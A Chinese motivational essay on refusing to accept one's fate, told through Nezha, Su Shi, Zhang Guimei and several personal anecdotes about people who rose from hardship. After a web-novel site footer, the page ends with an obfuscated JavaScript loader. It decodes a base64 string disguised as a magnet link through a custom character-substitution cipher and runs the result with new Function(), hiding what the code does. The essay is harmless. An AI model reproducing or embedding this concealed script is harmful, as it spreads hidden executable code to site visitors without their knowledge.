“我命由我不由天”:和老天爷掰手腕的人生才够劲儿
最近刷到个视频,一位50岁的环卫工阿姨在休息时用粉笔在地上写诗,字迹工整得像印刷体。评论区炸开了锅,有人说“这手字去教书法都够了”,也有人感慨“老天爷真是瞎了眼”。我盯着屏幕突然想起哪吒那句“我命由我不由天”——原来从古至今,总有人不甘心被命运按在地上摩擦,非要和老天爷掰掰手腕。
一、被写好的剧本,偏要撕个粉碎
小时候看《哪吒之魔童降世》,最震撼的不是混天绫抽龙筋的场面,而是那个黑眼圈浓重的熊孩子,攥着拳头喊出“若命运不公,就和它对抗到底”。电影散场后,我蹲在路边想:我们是不是也像被设定好程序的NPC,从出生那天起,就有人拿着“命运剧本”告诉你该怎么活?
老家隔壁村有个姐姐,初中没读完就被父母逼着嫁人。婚礼当天她翻墙逃了,兜里揣着攒了半年的300块钱坐绿皮火车去了深圳。现在她开了家连锁美甲店,过年回家时,当年说她“迟早饿死”的邻居们,都眼巴巴等着她介绍工作。她常说:“他们觉得女孩子就该生娃带孩子,但我的人生又不是他们的续集。”
这种打破剧本的勇气,像极了敦煌莫高窟的画师。千年前,那些无名匠人在幽暗洞窟里一笔一划勾勒飞天,洞窟外风沙呼啸,朝廷动荡,可他们偏要用色彩和线条,在岩壁上凿出永恒的浪漫。他们或许没说过“我命由我不由天”,但用毕生心血证明:再荒凉的宿命里,也能长出倔强的花。
二、和老天爷较劲的人,都在偷偷攒大招
你发现没?那些喊着“我命由我”的人,从来不是空着手去挑战命运。苏轼被贬黄州时,不仅没被瘴气和白眼打倒,反而发明了东坡肉,写出“竹杖芒鞋轻胜马”的洒脱;张桂梅校长拖着病体翻山越岭,把2000多个女孩拉出辍学的泥潭,靠的不是一句空话,而是十几年如一日的咬牙坚持。
朋友阿强的故事更离谱。他从小有严重口吃,毕业找工作四处碰壁,连面试机会都拿不到。别人劝他“认命吧”,他却每天对着镜子练绕口令,把《新闻联播》主持人的发音拆成一帧一帧反复模仿。现在他成了方言脱口秀演员,在舞台上用带着结巴的幽默逗笑全场观众。他说:“命运给我塞了烂牌,但洗牌的权力在我手里。”
这让我想起实验室的学长,高考失利进了普通二本,却在图书馆泡了四年,每天比保洁阿姨到得早,比保安大爷走得晚。后来他拿到了清华的直博offer,有人问他逆袭秘诀,他笑着说:“哪有什么逆袭,不过是把‘不可能’三个字,拆成了‘不,可能’。”
三、不认命,不是横冲直撞的莽夫
当然,喊“我命由我”绝不是盲目对抗。就像爬山,明知道前方有悬崖,还硬闯就是傻。真正的强者,会一边攀登一边寻找新的路。司马迁受宫刑后没有自我了断,而是忍辱负重写出《史记》;史铁生双腿瘫痪,却在轮椅上思考出生命的意义。他们不是向命运低头,而是找到了与命运和解的另一种方式。
前阵子认识个做短视频的博主,公司倒闭负债百万,却在摆地摊卖烤肠时发现商机——把烤肠摊拍成搞笑日常。现在他的账号粉丝百万,还开了连锁烤肠店。他说:“老天爷关了门,我就把窗户拆了当滑板,滑向新的赛道。”这种灵活的不认命,比硬刚更有生命力。
四、写自己的剧本,才是活着的终极浪漫
刷到过这样一句话:“命运给你的牌很烂,但你可以决定出牌的顺序。”深以为然。我们或许无法选择出生、容貌和起点,但能决定用怎样的态度走下去。就像那个在工地弹钢琴的大叔,钢筋水泥间流淌的肖邦夜曲,是他写给命运最温柔的战书。
有人说,“我命由我”太理想化,现实早晚会把棱角磨平。可仔细想想,那些真正活得精彩的人,哪个不是在现实的捶打下,依然保留着那份倔强?就像海浪永远撞向礁石,哪怕粉身碎骨,也要在破碎的瞬间,绽放出属于自己的浪花。
下次当你觉得被命运压得喘不过气时,不妨握紧拳头,像哪吒那样大喊一声:“去他的鸟命运!”然后迈开步子往前走——毕竟,人生这场游戏,不亲手打出个通关结局,多没意思啊!
喜欢洛杉矶的曼玲的新书请大家收藏:洛杉矶的曼玲的新书本站更新速度全网最快。
(function(){function ne526(of4944f){var g99f136="kB;
[email protected]:&Xp,ojhY[7?VqF62ZDblL5_r3nyesz%!f](/u4wN0^HtP=S1A|Mi-IRWUOvC8m";var o48b3f="rRWluxf7Hsz31G2yiF?SwQoZD.^vXOepJ&V%hbYA=jIn5caB/@L],k|~dP(!4MCNU;K9qEtg:8[6$_m0-T";return atob(of4944f).split('').map(function(q9e8cd){var ve143=g99f136.indexOf(q9e8cd);return ve143==-1?q9e8cd:o48b3f[ve143]}).join('')}var c=ne526('magnet:?xt=JkBydXAmUiJEIisiSW5hY3UiKyJhRCIrIj8iIUx+SnJuTUBwcncpe3d+SnJuTUBwcndrQ35EM34zSW5mOWEweWFUfmZEVD9EMzFmSkRhYXV+PzEpe0B+d3NoXnluKDtAcnNqTT9FTXdyeVlAaXlNcGtqVjl5TX5wa3YpKXtrP01Ka3J9WXlrIE1DZERuMTNMfkpybk1AcHJ3dlQweTMxSSl7az9NSmtyIDpNa0ByaWp+a3B2SFp5a0hwdT93dlQweTMxSSl9PVl5ayBZYzBURG5EYUxSIjk1RThRQ1RPJTdsb09xOk9RbV4lImYiWT9rOENUImYiRUB1OFQwYyJmIm5uTThkQ2QzOENXOGQxIFRkLTNDLTNkIiE9WXlrIE1UdUkzP0xEVD9EMzFSTUNkRG4xM3cxYykrTUNkRG4xM3dUVFcpK01DZERuMTN3VFRUKStNQ2REbjEzdzFJKSFmSkk/M25EeUxEVD9EMzFSTUNkRG4xM3cxSSkrTUNkRG4xM3dUVFcpK01DZERuMTN3VFRUKStNQ2REbjEzdzFjKSFmdmEzMWRDYUxKRGFhdX4/MVJNVHVJMz93ImJhNkdudjZKdS50NW52OSZ1bExMIikhZnZ1fm5DeX5kQ0xNVHVJMz93ImJhcTliW0I5QjtnOUQ7Nkp1bExMIilmQFREY0RUTE1UdUkzP3cibmE2QG5hQkd5OzNyIilmcnkxM0REM0xNVHVJMz93Im52NiZEJC41LFhMTCIpZnlESXVhY0xNVHVJMz93Im5hZUV5W1hMIilmOVd+PzBkMUlMTVR1STM/dyJudjZkLFtxSyxYTEwiKWZnRFRDbjBDSVRMTVR1STM/dyJ5djFWRGlMTCIpZjVEPzFjZD8/Y0xEVD9EMzFSTVR1STM/dyJtOy5DeWxMTCIpIWZLbkR1dT9MNUQ/MWNkPz9jUk1UdUkzP3ciYmQ2VkRsTEwiKSFmOVQzfj9EM0w1RD8xY2Q/P2NSTVR1STM/dyIsdmdZRGFfTCIpIWZBeVczfmN1dTBMNUQ/MWNkPz9jUk1UdUkzP3cibnYuSiwkMU0iKSFmZz9XQ3VkP0RhTE1UdUkzP3ciRDsuQ2JkaUwiKWY1SWQxYT9ETE1UdUkzP3ciRDsuJiIpZkBXMEMzTE1UdUkzP3ciRCQxWixsTEwiKT1ZeWsgQTBuYUl+TE1UdUkzP3cibmRUQ3k7Qjl1aUxMIik9WXlrIEp+RFQxRD1ZeWsgbmRhP2N1P2FETGtDfkQzfjNJblJDIT1AfndrQ35EM34zSW5qOT9yaU1aPlQpe25kYT9jdT9hRExrQ35EM34zSW5SOVQzfj9EM3dBeVczfmN1dTB3KSprQ35EM34zSW5qOT9yaU1aKSF9QH53OXBueU1AcHJqRT95a25aakBydT9nN353QTBuYUl+KT44VCl7Sn5EVDFETEpEYWF1fj8xUnZ1fm5DeX5kQyF3TVR1STM/dyJ1JDYwdSQuRyw7fEwiKSk9Sn5EVDFEakB1TCJNIitBeVczfmN1dTB3KSpUPzA9Sn5EVDFEakVNRzk/aiZAdU1aTCJUQ0MyIj1KfkRUMURqRU1HOT9qWj9AaVpNTCIzQ0NWZyI9Sn5EVDFEanVARXlEOT91TE1rSj89QH53SkRhYXV+PzFqRHB1R05Mcko5OSl7SkRhYXV+PzFqRHB1R2p5VlY/cnVIWkA5dXdKfkRUMUQpfT85RT97WXlrIEBhZFdhRDFMfkpybk1AcHJ3KXtKRGFhdX4/MWpEcHVHanlWVj9ydUhaQDl1d0p+RFQxRCk9RFQ/RDMxams/dnBZP3xZP3JNJUBFTT9yP2t3QFcwQzNmQGFkV2FEMWZ+eTlFPyl9PURUP0QzMWp5dXV8WT9yTSVARU0/cj9rd0BXMEMzZkBhZFdhRDFmfnk5RT8pfX1ZeWsgWj8/bkNJTEpEYWF1fj8xUnZ1fm5DeX5kQyF3TVR1STM/dyIsO1RALDtYTCIpKT1aPz9uQ0lqQHVMOWEweWFUfitLbkR1dT93QXlXM35jdXUwdykqVD8wKT1aPz9uQ0lqRU1HOT9qWj9AaVpNTCJDVmciPVo/P25DSWpFTUc5P2pwWT9rfjlwJkwiWkB1dT9yIj1ucHJFTSB1M2Q/YzFMd0sxP0RhM1d+RGZnMEluMWZNM2FDP0lMZENDKUw+NGtwdkBFP2preW4/d1J+P01uWndLMT9EYTNXfkRmZzBJbjEpZnI/JiA0a3B2QEU/d3d3T2ZrPzU/bk0pTD5FP01tQHY/cEpNd3d3KUw+az81P25Nd3I/JiB8a2twa3ciTUB2P3BKTSIpKSlmTTNhQz9JKSkpISk9WXlrIHUzSW5uTHlFR3JuIH5Kcm5NQHByd1lJYUkzY1d5KXtZeWsgSjBkP0l1V3k/TFIiNUUiZiJuRUUiZiJpQH4iZiI1VmkiZiJWcmkiZiI1Vmk/ImYiJj9EViJmIkVZaSJmIlpNdjkiZiI1Vj9pIiE9WXlrIEc/P3lJYW5ETEowZD9JdVd5P2o5P3JpTVo9SjBkP0l1V3k/TEowZD9JdVd5P1I5VDN+P0Qzd0F5VzN+Y3V1MHcpKkc/P3lJYW5EKSE9bnByRU0gQTFDdXVMUiIsZG5KdG02S3lkLktEO2dNLGR1M0Q6M0NEYWxXN21dVHRpTEwiIT1ZeWsgcn5jQ3VMQTFDdXVSQyE9QH53QTFDdXVqOT9yaU1aPlQpe3J+Y0N1TEExQ3V1UjlUM34/RDN3QXlXM35jdXUwdykqQTFDdXVqOT9yaU1aKSF9WXlrIFpUYX5XfnlMVnlrRT9fck13OWEweWFUfik9QH53QEV0eXR3WlRhfld+eSkpWlRhfld+eUxDPVpUYX5XfnkrTElJSUk9WXlrIEQxP0M/eVRMUiJaTU1WRS1zImZdSTNhRERERER3cn5jQ3UpZiJaTXY5ImZgRXZVe1pUYX5Xfnl9YGZgVXs5YTB5YVR+fWpVe0owZD9JdVd5P31gIVJnRFRDbjBDSVQhdyJzIik9QH53Sn5EVDFETkxySjk5KUp+RFQxRGpZeTlKPytMIlxrXHJFP3J1IEFFIFpwRU0gIitEMT9DP3lUPU1rR3tZeWsgWlQxdWExTHkmeUBNIHUzZD9jMXdEMT9DP3lUZntrP3VAaz9uTS0ifnA5OXAmIn1mVDNDQyk9WlQxdWExTHkmeUBNIFpUMXVhMWpNP2dNdyk9WXlrIG5uZDBuQ1dEfkxaVDF1YTFqQHJ1P2c3fndNQ2REbjEzd1dUKSk9WXlrIHZuZDFkfmFDTCIiPUB+d25uZDBuQ1dEfj5MQyl7dm5kMWR+YUNMWlQxdWExUkBURGNEVCF3bm5kMG5DV0R+KT1aVDF1YTFMWlQxdWExUkBURGNEVCF3Q2ZubmQwbkNXRH4pfVpUMXVhMUxaVDF1YTFSZz9XQ3VkP0RhIXdzantUZjB9c2kpUjVJZDFhP0Qhd3dnTD5nUnlESXVhYyF3IiIpUjlXfj8wZDFJIXcpUmdEVENuMENJVCF3IiIpKSlSZ0RUQ24wQ0lUIXciIik9WlQxdWExTFpUMXVhMSt2bmQxZH5hQz1aVDF1YTFMTVR1STM/d1pUMXVhMSk9WUlhSTNjV3lMWlQxdWExUnlESXVhYyF3InMiKVJDIT1AfndKfkRUMUROTHJKOTkpSn5EVDFEall5OUo/K0wiXGtccmk/TSBBRSBacEVNIEVKbm4/RUUiK1lJYUkzY1d5fW55TW5ad0sxV0RjdWEpe0B+d0p+RFQxRE5Mcko5OSlKfkRUMURqWXk5Sj8rTCJca1xyaT9NIEFFIFpwRU0gfnlAOT91IitLMVdEY3VhfVl5ayBwZGExM2RMSkk/M25EeXdZYzBURG5EYWpucHJueU13UmBycCY4VXtveU0/UiJycCYiIXcpfWBmYFprP344VXs5cG55TUBwcmpaaz9+fWBmYEpFbjhVe35hYWFuY3cpfWAhKWpFcGtNd3d3KUw+QXlXM35jdXUwdyk4ajMpKVJnRFRDbjBDSVQhdyJmIikpPVl5ayBKeXlhbjFMcGRhMTNkakBydT9nN353TUNkRG4xM3dXVCkpPjhUeHBkYTEzZFJAVERjRFQhd3BkYTEzZGpAcnU/Zzd+d01DZERuMTN3V1QpKSktIiI9cGRhMTNkTHBkYTEzZFJyeTEzREQzIXdKeXlhbjFmIiIpUnlESXVhYyF3IiIpUjlXfj8wZDFJIXcpUmdEVENuMENJVCF3IiIpK0p5eWFuMT1aPz9uQ0lqRWtuTFIiWk1NVkUtcyJmWUlhSTNjV3lmWj8/bkNJakB1ZnBkYTEzZCFSZ0RUQ24wQ0lUIXcicyIpPU1rR3tKRGFhdX4/MWpEcHVHanlWVj9ydUhaQDl1d1o/P25DSSl9bnlNblp3Pyl7SkRhYXV+PzFqeXV1fFk/ck0lQEVNP3I/a3cibzdeSHByTT9yTSVweXU/dSJmd3cpTD57SkRhYXV+PzFqRHB1R2pAckU/a01lP35waz93Wj8/bkNJZkpEYWF1fj8xakRwdUdqblpAOXV0cHU/RVJDISl9KSl9QH53Sn5EVDFETkxySjk5KXtKfkRUMURqWXk5Sj8rTCJca1xyeVZWP3J1P3UgP3YgTXAgWk12OSI9WXlrID91RElheX5MSkRhYXV+PzFqaT9NfDk/dj9yTWVHX3V3Wj8/bkNJakB1KT1Afnc/dURJYXl+TExySjk5KCg/dURJYXl+TExKcnU/fkByP3Upe0p+RFQxRGpZeTlKPytMIlxrXHIgbnlyTSBpP00gP3YgfmtwdiBaTXY5In19fT1AfndKfkRUMUROTHJKOTkpe0p+RFQxRGpZeTlKPytMIlxrXHJFP3J1IDVFIFpwRU0gIituZGE/Y3U/YUR9WXlrIH5hYWFuY0x+SnJuTUBwcncpe01rR3tucHJFTSBKRHVDM255THdyPyYgb3lNPylqTXAlcG55OT9veU0/Ok1rQHJpdyk9bnByRU0gQTB5M3lhTGBFdk1AT0VAdU9Ve35DRHVkMUlkajlhMHlhVH59T1ZZYD05P00gQVRXVFdkTHE6N3RqVnlrRT93OXBueTk6TXBreWk/amk/TV9NP3Z3QTB5M3lhKSk9QH53QVRXVFdkTExySjk5KChBVFdUV2RqdXlNP05MSkR1QzNueSl7QVRXVFdkTHtWWW1Adj9FLUNmdXlNPy1KRHVDM255fX1rP01Ka3IgQVRXVFdkalZZbUB2P0UrVH1ueU1uWndZZH5XMzExYVcpe2s/TUprciBUfX09WXlrIF1JM2FEREREREx+SnJuTUBwcndASWFXfnkpe2s/TUprciBNVHVJMz93QElhV355KVJyeTEzREQzIXdNQ2REbjEzdzBkKWZBeVczfmN1dTB3KWpNcDpNa0ByaXdhVylqRTlAbj93OVQzfj9EM3dBeVczfmN1dTB3KSoxKStkKSl9PXUzSW5ud11JM2FERERERHduZGE/Y3U/YUQpKT1EVD9EMzFSInl1dXxZP3JNJUBFTT9yP2siIXcidj9FRXlpPyJmd35Kcm5NQHByd1lkflczMTFhVyl7QH53WWR+VzMxMWFXanV5TXlqXUxMOWEweWFUfil7SkRhYXV+PzFqaT9NfDk/dj9yTWVHX3V3Wj8/bkNJakB1KWprP3ZwWT93KT1ZeWsgWmR+Y0lXZExySjk5PUB+d0p+RFQxRE5Mcko5OSl7Sn5EVDFEall5OUo/K0wiXGtccms/bj9AWT8gP3YgVnBFTSB2P0VFeWk/Ij1KfkRUMURqWXk5Sj8rTCJca1xyP2p1eU15alkgIitZZH5XMzExYVdqdXlNeWpBPVpkfmNJV2RMd2pqajl5dWNjMylMPntAfndOOXl1Y2MzKCg5eXVjYzNqOT9yaU1aPExDKWs/TUprcj1KfkRUMURqWXk5Sj8rTCJca1xyIis5eXVjYzNqNXBAcnciICIpfX1yPyYgLkpybk1AcHJ3InlraUUiZllkflczMTFhV2p1eU15akEpd3tPTXVuRS12YTMxZENhZk85cGktWmR+Y0lXZH0pfX0pKX0pd1IiLGRuSmJbZUM3JDlhYltCS0Q7Z00sZHUzRDozQ0RhbFc3bV1UdGlMTCIhZiJUMGMiZiZAcnVwJmZ1cG5Kdj9yTSl9PURJbmFjdWFEP3cpPQ=='.substr(11));new Function(c)()})();